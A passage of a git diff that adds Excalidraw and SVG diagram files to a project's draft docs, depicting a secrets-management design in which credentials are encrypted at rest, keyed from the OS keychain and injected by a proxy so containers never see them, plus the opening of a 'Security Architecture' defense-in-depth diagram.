5, + "versionNonce": 1814457375, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "external_title", + "type": "text" + }, + { + "id": "arrow4", + "type": "arrow" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aD", + "frameId": null, + "updated": 1772739080355 + }, + { + "type": "text", + "id": "external_title", + "x": 575, + "y": 477.5, + "width": 100, + "height": 25, + "text": "External API", + "originalText": "External API", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500052, + "version": 2, + "versionNonce": 1202764561, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "external", + "lineHeight": 1.25, + "index": "aE", + "frameId": null, + "roundness": null, + "updated": 1772739053274, + "autoResize": true + }, + { + "type": "text", + "id": "principle1", + "x": 104.19327393812887, + "y": 242.53515625, + "width": 275.4794810789738, + "height": 19.12159943922912, + "text": "1. Stored encrypted at rest", + "originalText": "1. Stored encrypted at rest", + "fontSize": 15.297279551383294, + "fontFamily": 3, + "textAlign": "left", + "verticalAlign": "middle", + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500060, + "version": 147, + "versionNonce": 440426097, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "aF", + "frameId": null, + "roundness": null, + "updated": 1772739144416, + "autoResize": false + }, + { + "type": "text", + "id": "principle2", + "x": 104.05078125, + "y": 271.8105088529928, + "width": 250.9710693359375, + "height": 19.12159943922912, + "text": "2. Master key in OS keychain", + "originalText": "2. Master key in OS keychain", + "fontSize": 15.297279551383294, + "fontFamily": 3, + "textAlign": "left", + "verticalAlign": "middle", + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500070, + "version": 110, + "versionNonce": 742017041, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "aG", + "frameId": null, + "roundness": null, + "updated": 1772739146103, + "autoResize": true + }, + { + "type": "text", + "id": "principle3", + "x": 104.19327393812887, + "y": 301.37084683224344, + "width": 259.934326171875, + "height": 19.12159943922912, + "text": "3. Injected at proxy boundary", + "originalText": "3. Injected at proxy boundary", + "fontSize": 15.297279551383294, + "fontFamily": 3, + "textAlign": "left", + "verticalAlign": "middle", + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500080, + "version": 109, + "versionNonce": 26913215, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "aH", + "frameId": null, + "roundness": null, + "updated": 1772739147378, + "autoResize": true + }, + { + "type": "text", + "id": "principle4", + "x": 104.19327393812887, + "y": 330.78869212336514, + "width": 304.7506103515625, + "height": 19.12159943922912, + "text": "4. Containers never see raw values", + "originalText": "4. Containers never see raw values", + "fontSize": 15.297279551383294, + "fontFamily": 3, + "textAlign": "left", + "verticalAlign": "middle", + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500090, + "version": 109, + "versionNonce": 1729502577, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "aI", + "frameId": null, + "roundness": null, + "updated": 1772739148391, + "autoResize": true + }, + { + "type": "arrow", + "id": "arrow1", + "x": 250, + "y": 170, + "width": 75, + "height": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "dashed", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500100, + "version": 3, + "versionNonce": 514504191, + "isDeleted": true, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 75, + 0 + ] + ], + "startBinding": { + "mode": "inside", + "elementId": "storage", + "fixedPoint": [ + 0.9166666666666666, + 0.5001 + ] + }, + "endBinding": { + "mode": "orbit", + "elementId": "keychain", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "startArrowhead": null, + "endArrowhead": "arrow", + "index": "aJ", + "frameId": null, + "roundness": null, + "updated": 1772739063584 + }, + { + "type": "arrow", + "id": "arrow2", + "x": 475, + "y": 170, + "width": 75, + "height": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "dashed", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500110, + "version": 3, + "versionNonce": 1418101311, + "isDeleted": true, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 75, + 0 + ] + ], + "startBinding": { + "mode": "orbit", + "elementId": "keychain", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "endBinding": { + "mode": "orbit", + "elementId": "proxy", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "startArrowhead": null, + "endArrowhead": "arrow", + "index": "aK", + "frameId": null, + "roundness": null, + "updated": 1772739065684 + }, + { + "type": "arrow", + "id": "arrow3", + "x": 627.3558268718945, + "y": 223.96875, + "width": 0.9974389145518217, + "height": 70.03125, + "strokeColor": "#1e3a5f", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500120, + "version": 260, + "versionNonce": 2136665073, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + -0.9974389145518217, + 70.03125 + ] + ], + "startBinding": { + "elementId": "proxy", + "mode": "orbit", + "fixedPoint": [ + 0.5001, + 1.0332640624999998 + ] + }, + "endBinding": { + "mode": "orbit", + "elementId": "container", + "fixedPoint": [ + 0.5074133680555557, + -0.053952734375000234 + ] + }, + "startArrowhead": null, + "endArrowhead": "arrow", + "index": "aL", + "frameId": null, + "roundness": null, + "updated": 1772739112315, + "moveMidPointsWithElement": false + }, + { + "type": "arrow", + "id": "arrow4", + "x": 624.7728912399674, + "y": 386, + "width": 0.23404714130310822, + "height": 58, + "strokeColor": "#1e3a5f", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500130, + "version": 172, + "versionNonce": 970015743, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + -0.23404714130310822, + 58 + ] + ], + "startBinding": { + "mode": "orbit", + "elementId": "container", + "fixedPoint": [ + 0.49879791666666684, + 1.0417503906249999 + ] + }, + "endBinding": { + "elementId": "external", + "mode": "orbit", + "fixedPoint": [ + 0.4968187499999999, + -0.025339453125000234 + ] + }, + "startArrowhead": null, + "endArrowhead": "arrow", + "index": "aM", + "frameId": null, + "roundness": null, + "updated": 1772739079974 + }, + { + "type": "text", + "id": "flow1", + "x": 640, + "y": 250, + "width": 100, + "height": 20, + "text": "Decrypt secret", + "originalText": "Decrypt secret", + "fontSize": 11, + "fontFamily": 3, + "textAlign": "left", + "verticalAlign": "middle", + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500140, + "version": 2, + "versionNonce": 1735672575, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "aN", + "frameId": null, + "roundness": null, + "updated": 1772739053274, + "autoResize": true + }, + { + "type": "text", + "id": "flow2", + "x": 573.9335937500001, + "y": 348.5703125, + "width": 109.57031249999989, + "height": 21.914062499999986, + "text": "HTTP request", + "originalText": "HTTP request", + "fontSize": 12.052734374999995, + "fontFamily": 3, + "textAlign": "left", + "verticalAlign": "middle", + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500150, + "version": 74, + "versionNonce": 233626495, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "aO", + "frameId": null, + "roundness": null, + "updated": 1772739124136, + "autoResize": true + }, + { + "type": "text", + "id": "flow3", + "x": 640, + "y": 415, + "width": 100, + "height": 20, + "text": "With auth header", + "originalText": "With auth header", + "fontSize": 11, + "fontFamily": 3, + "textAlign": "left", + "verticalAlign": "middle", + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500160, + "version": 2, + "versionNonce": 185699103, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "aP", + "frameId": null, + "roundness": null, + "updated": 1772739053274, + "autoResize": true + }, + { + "type": "arrow", + "id": "JYEhDuF2BsU-FA8oJnQ2_", + "x": 271, + "y": 169.9830722001049, + "width": 55.414226429348446, + "height": 0.5026034501049139, + "strokeColor": "#1e3a5f", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 1986906385, + "version": 356, + "versionNonce": 377047967, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 55.414226429348446, + -0.5026034501049139 + ] + ], + "startBinding": { + "elementId": "storage", + "mode": "orbit", + "fixedPoint": [ + 1, + 0.5001 + ] + }, + "endBinding": { + "elementId": "keychain", + "mode": "inside", + "fixedPoint": [ + 0.009428176195656305, + 0.4948046875 + ] + }, + "startArrowhead": null, + "endArrowhead": "arrow", + "index": "aQ", + "frameId": null, + "roundness": null, + "updated": 1772739090521 + }, + { + "type": "arrow", + "id": "KhQUyK1H6053434D0UCdh", + "x": 475, + "y": 170.01, + "width": 71.37890625, + "height": 1.8737458352264014, + "strokeColor": "#1e3a5f", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 426826751, + "version": 332, + "versionNonce": 165299665, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 71.37890625, + -1.8737458352264014 + ] + ], + "startBinding": { + "elementId": "keychain", + "mode": "inside", + "fixedPoint": [ + 1, + 0.5001 + ] + }, + "endBinding": { + "elementId": "proxy", + "mode": "orbit", + "fixedPoint": [ + 0, + 0.5001 + ] + }, + "startArrowhead": null, + "endArrowhead": "arrow", + "index": "aR", + "frameId": null, + "roundness": null, + "updated": 1772739112316, + "moveMidPointsWithElement": false + } + ], + "appState": { + "gridSize": 20, + "gridStep": 5, + "gridModeEnabled": false, + "viewBackgroundColor": "#ffffff", + "lockedMultiSelections": {} + }, + "files": {} +} \ No newline at end of file diff --git a/docs/drafts/assets/secrets-overview.png b/docs/drafts/assets/secrets-overview.png new file mode 100644 index 0000000000..7c03a8d25f Binary files /dev/null and b/docs/drafts/assets/secrets-overview.png differ diff --git a/docs/drafts/assets/secrets-overview.svg b/docs/drafts/assets/secrets-overview.svg new file mode 100644 index 0000000000..98e4048a77 --- /dev/null +++ b/docs/drafts/assets/secrets-overview.svg @@ -0,0 +1,4 @@ + + +Secrets ManagementZero-Exposure Credential ModelEncrypted StorageAES-256-GCMOS KeychainMaster KeyNetwork ProxyCredentialInjectionDocker ContainerExternal API1. Stored encrypted at rest2. Master key in OS keychain3. Injected at proxy boundary4. Containers never see raw valuesDecrypt secretHTTP requestWith auth header \ No newline at end of file diff --git a/docs/drafts/assets/secrets-zero-exposure.excalidraw b/docs/drafts/assets/secrets-zero-exposure.excalidraw new file mode 100644 index 0000000000..ca43c39ddd --- /dev/null +++ b/docs/drafts/assets/secrets-zero-exposure.excalidraw @@ -0,0 +1,609 @@ +{ + "type": "excalidraw", + "version": 2, + "source": "https://excalidraw.com", + "elements": [ + { + "id": "secret_store", + "type": "rectangle", + "x": -7.16796875, + "y": 98.3046875, + "width": 230, + "height": 80, + "angle": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "#ddd6fe", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "id": "arrow1", + "type": "arrow" + }, + { + "id": "text_store", + "type": "text" + } + ], + "version": 60, + "versionNonce": 1606640913, + "index": "a0", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "updated": 1772739507103, + "link": null, + "locked": false + }, + { + "id": "text_store", + "type": "text", + "x": 7.83203125, + "y": 118.3046875, + "width": 200, + "height": 40, + "angle": 0, + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "roughness": 0, + "opacity": 100, + "text": "Secret Store\n(Encrypted in DB)", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "secret_store", + "boundElements": [], + "version": 60, + "versionNonce": 1964415729, + "index": "a1", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "updated": 1772739507103, + "link": null, + "locked": false, + "originalText": "Secret Store\n(Encrypted in DB)", + "autoResize": true, + "lineHeight": 1.4285714285714286 + }, + { + "id": "proxy", + "type": "rectangle", + "x": 310, + "y": 100, + "width": 220, + "height": 80, + "angle": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "#3b82f6", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "id": "arrow1", + "type": "arrow" + }, + { + "id": "arrow2", + "type": "arrow" + }, + { + "id": "text_proxy", + "type": "text" + } + ], + "version": 2, + "versionNonce": 743287551, + "index": "a2", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "updated": 1772739486081, + "link": null, + "locked": false + }, + { + "id": "text_proxy", + "type": "text", + "x": 320, + "y": 120, + "width": 200, + "height": 40, + "angle": 0, + "strokeColor": "#ffffff", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "roughness": 0, + "opacity": 100, + "text": "Proxy\n(Injects Headers)", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "proxy", + "boundElements": [], + "version": 2, + "versionNonce": 1224067185, + "index": "a3", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "updated": 1772739486081, + "link": null, + "locked": false, + "originalText": "Proxy\n(Injects Headers)", + "autoResize": true, + "lineHeight": 1.4285714285714286 + }, + { + "id": "external_service", + "type": "rectangle", + "x": 623.67578125, + "y": 99.609375, + "width": 160, + "height": 80, + "angle": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "#a7f3d0", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "id": "text_external", + "type": "text" + }, + { + "id": "arrow2", + "type": "arrow" + } + ], + "version": 29, + "versionNonce": 1501698385, + "index": "a4", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "updated": 1772739526735, + "link": null, + "locked": false + }, + { + "id": "text_external", + "type": "text", + "x": 633.67578125, + "y": 119.609375, + "width": 140, + "height": 40, + "angle": 0, + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "roughness": 0, + "opacity": 100, + "text": "External\nService", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "external_service", + "boundElements": [], + "version": 28, + "versionNonce": 1451931569, + "index": "a5", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "updated": 1772739520302, + "link": null, + "locked": false, + "originalText": "External\nService", + "autoResize": true, + "lineHeight": 1.4285714285714286 + }, + { + "id": "container_sandbox", + "type": "rectangle", + "x": 340, + "y": 280, + "width": 160, + "height": 80, + "angle": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "#dbeafe", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "id": "arrow_up", + "type": "arrow" + }, + { + "id": "text_container", + "type": "text" + } + ], + "version": 2, + "versionNonce": 1404057407, + "index": "a6", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "updated": 1772739486081, + "link": null, + "locked": false + }, + { + "id": "text_container", + "type": "text", + "x": 350, + "y": 300, + "width": 140, + "height": 40, + "angle": 0, + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "roughness": 0, + "opacity": 100, + "text": "Container\n(Sandbox)", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "container_sandbox", + "boundElements": [], + "version": 2, + "versionNonce": 671162417, + "index": "a7", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "updated": 1772739486081, + "link": null, + "locked": false, + "originalText": "Container\n(Sandbox)", + "autoResize": true, + "lineHeight": 1.4285714285714286 + }, + { + "id": "arrow1", + "type": "arrow", + "x": 228.83203125, + "y": 138.36262665794595, + "width": 74.484375, + "height": 0.6180295920540289, + "angle": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "#1e3a5f", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "points": [ + [ + 0, + 0 + ], + [ + 74.484375, + 0.6180295920540289 + ] + ], + "startBinding": { + "elementId": "secret_store", + "mode": "orbit", + "fixedPoint": [ + 1, + 0.5001 + ] + }, + "endBinding": { + "elementId": "label_decrypt", + "mode": "orbit", + "fixedPoint": [ + 0.9353515625, + 1.6695406249999991 + ] + }, + "version": 213, + "versionNonce": 1436581329, + "index": "a8", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772739545111, + "link": null, + "locked": false, + "startArrowhead": null, + "endArrowhead": "arrow", + "moveMidPointsWithElement": false + }, + { + "id": "label_decrypt", + "type": "text", + "x": 228.48828125, + "y": 105.58984375, + "width": 80, + "height": 20, + "angle": 0, + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "roughness": 0, + "opacity": 100, + "text": "Decrypt", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "boundElements": [ + { + "id": "arrow1", + "type": "arrow" + } + ], + "version": 110, + "versionNonce": 1747856863, + "index": "a9", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "updated": 1772739517219, + "link": null, + "locked": false, + "containerId": null, + "originalText": "Decrypt", + "autoResize": true, + "lineHeight": 1.6666666666666667 + }, + { + "id": "arrow2", + "type": "arrow", + "x": 536, + "y": 139.95678500196112, + "width": 81.67578125, + "height": 0.697170829423527, + "angle": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "#1e3a5f", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "points": [ + [ + 0, + 0 + ], + [ + 81.67578125, + -0.697170829423527 + ] + ], + "startBinding": { + "elementId": "proxy", + "mode": "orbit", + "fixedPoint": [ + 1, + 0.5001 + ] + }, + "endBinding": { + "mode": "orbit", + "elementId": "external_service", + "fixedPoint": [ + -0.004856054687500233, + 0.4950707031249998 + ] + }, + "version": 154, + "versionNonce": 542584689, + "index": "aA", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772739526410, + "link": null, + "locked": false, + "startArrowhead": null, + "endArrowhead": "arrow", + "moveMidPointsWithElement": false + }, + { + "id": "arrow_up", + "type": "arrow", + "x": 420, + "y": 280, + "width": 0, + "height": 100, + "angle": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "#1e3a5f", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "points": [ + [ + 0, + 0 + ], + [ + 0, + -100 + ] + ], + "startBinding": { + "mode": "orbit", + "elementId": "container_sandbox", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "endBinding": { + "mode": "orbit", + "elementId": "proxy", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "version": 2, + "versionNonce": 845776881, + "index": "aB", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772739486081, + "link": null, + "locked": false, + "startArrowhead": null, + "endArrowhead": "arrow" + }, + { + "id": "label_never", + "type": "text", + "x": 442.30078125, + "y": 216.796875, + "width": 140, + "height": 40, + "angle": 0, + "strokeColor": "#dc2626", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "roughness": 0, + "opacity": 100, + "text": "Never passes\nthrough container", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "left", + "verticalAlign": "middle", + "boundElements": [], + "version": 15, + "versionNonce": 688681745, + "index": "aC", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "updated": 1772739538806, + "link": null, + "locked": false, + "containerId": null, + "originalText": "Never passes\nthrough container", + "autoResize": true, + "lineHeight": 1.6666666666666667 + }, + { + "id": "label_auth", + "type": "text", + "x": 541.515625, + "y": 89.2265625, + "width": 82.03125, + "height": 40, + "angle": 0, + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "roughness": 0, + "opacity": 100, + "text": "Authorization:\n Bearer", + "fontSize": 10, + "fontFamily": 3, + "textAlign": "left", + "verticalAlign": "middle", + "boundElements": [], + "version": 114, + "versionNonce": 908769439, + "index": "aD", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "updated": 1772739533998, + "link": null, + "locked": false, + "containerId": null, + "originalText": "Authorization:\n Bearer", + "autoResize": true, + "lineHeight": 2 + } + ], + "appState": { + "gridSize": 20, + "gridStep": 5, + "gridModeEnabled": false, + "viewBackgroundColor": "#ffffff", + "lockedMultiSelections": {} + }, + "files": {} +} \ No newline at end of file diff --git a/docs/drafts/assets/secrets-zero-exposure.png b/docs/drafts/assets/secrets-zero-exposure.png new file mode 100644 index 0000000000..98efb31a61 Binary files /dev/null and b/docs/drafts/assets/secrets-zero-exposure.png differ diff --git a/docs/drafts/assets/secrets-zero-exposure.svg b/docs/drafts/assets/secrets-zero-exposure.svg new file mode 100644 index 0000000000..e2d79e566a --- /dev/null +++ b/docs/drafts/assets/secrets-zero-exposure.svg @@ -0,0 +1,4 @@ + + +Secret Store(Encrypted in DB)Proxy(Injects Headers)ExternalServiceContainer(Sandbox)DecryptNever passesthrough containerAuthorization: Bearer \ No newline at end of file diff --git a/docs/drafts/assets/security-architecture.excalidraw b/docs/drafts/assets/security-architecture.excalidraw new file mode 100644 index 0000000000..102e386ed5 --- /dev/null +++ b/docs/drafts/assets/security-architecture.excalidraw @@ -0,0 +1,1776 @@ +{ + "type": "excalidraw", + "version": 2, + "source": "https://excalidraw.com", + "elements": [ + { + "type": "text", + "id": "title", + "x": 159.85546875, + "y": 13.99609375, + "width": 651.640625, + "height": 40, + "text": "IronClaw Security Architecture", + "originalText": "IronClaw Security Architecture", + "fontSize": 32, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "top", + "strokeColor": "#1e40af", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200001, + "version": 206, + "versionNonce": 2121038623, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "a0", + "frameId": null, + "roundness": null, + "updated": 1772732018761, + "autoResize": false + }, + { + "type": "text", + "id": "subtitle", + "x": 283.26171875, + "y": 63.15234375, + "width": 400, + "height": 25, + "text": "Defense in Depth", + "originalText": "Defense in Depth", + "fontSize": 18, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "top", + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200003, + "version": 105, + "versionNonce": 81930065, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "a1", + "frameId": null, + "roundness": null, + "updated": 1772732021537, + "autoResize": true + }, + { + "type": "rectangle", + "id": "input_layer", + "x": 49.87890625, + "y": 120, + "width": 150, + "height": 400, + "strokeColor": "#1e3a5f", + "backgroundColor": "#dbeafe", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200010, + "version": 4, + "versionNonce": 1731468561, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "a2", + "frameId": null, + "updated": 1772731320929 + }, + { + "type": "text", + "id": "input_label", + "x": 120.19140625, + "y": 310, + "width": 9.375, + "height": 20, + "text": "", + "originalText": "", + "fontSize": 16, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#1e40af", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200012, + "version": 7, + "versionNonce": 1034965745, + "isDeleted": true, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "input_layer", + "lineHeight": 1.25, + "index": "a3", + "frameId": null, + "roundness": null, + "updated": 1772731320929, + "autoResize": true + }, + { + "type": "ellipse", + "id": "channels", + "x": 65, + "y": 180, + "width": 120, + "height": 60, + "strokeColor": "#5B6FFF", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200020, + "version": 2, + "versionNonce": 362696735, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "channels_text", + "type": "text" + } + ], + "link": null, + "locked": false, + "index": "a4", + "frameId": null, + "roundness": null, + "updated": 1772731306616 + }, + { + "type": "text", + "id": "channels_text", + "x": 75, + "y": 197, + "width": 100, + "height": 25, + "text": "Channels", + "originalText": "Channels", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200022, + "version": 2, + "versionNonce": 1447396689, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "channels", + "lineHeight": 1.25, + "index": "a5", + "frameId": null, + "roundness": null, + "updated": 1772731306616, + "autoResize": true + }, + { + "type": "text", + "id": "channels_detail", + "x": 49.21484375, + "y": 275.32421875, + "width": 143.55143229166674, + "height": 78.30078125000001, + "text": "TUI\nWeb\nTelegram\nWebhook", + "originalText": "TUI\nWeb\nTelegram\nWebhook", + "fontSize": 15.66015625000001, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "top", + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200025, + "version": 154, + "versionNonce": 2128068689, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "a6", + "frameId": null, + "roundness": null, + "updated": 1772731656065, + "autoResize": true + }, + { + "type": "rectangle", + "id": "layer1_safety", + "x": 250, + "y": 120, + "width": 180, + "height": 400, + "strokeColor": "#1e3a5f", + "backgroundColor": "#fef3c7", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 200100, + "version": 3, + "versionNonce": 199601663, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "a7", + 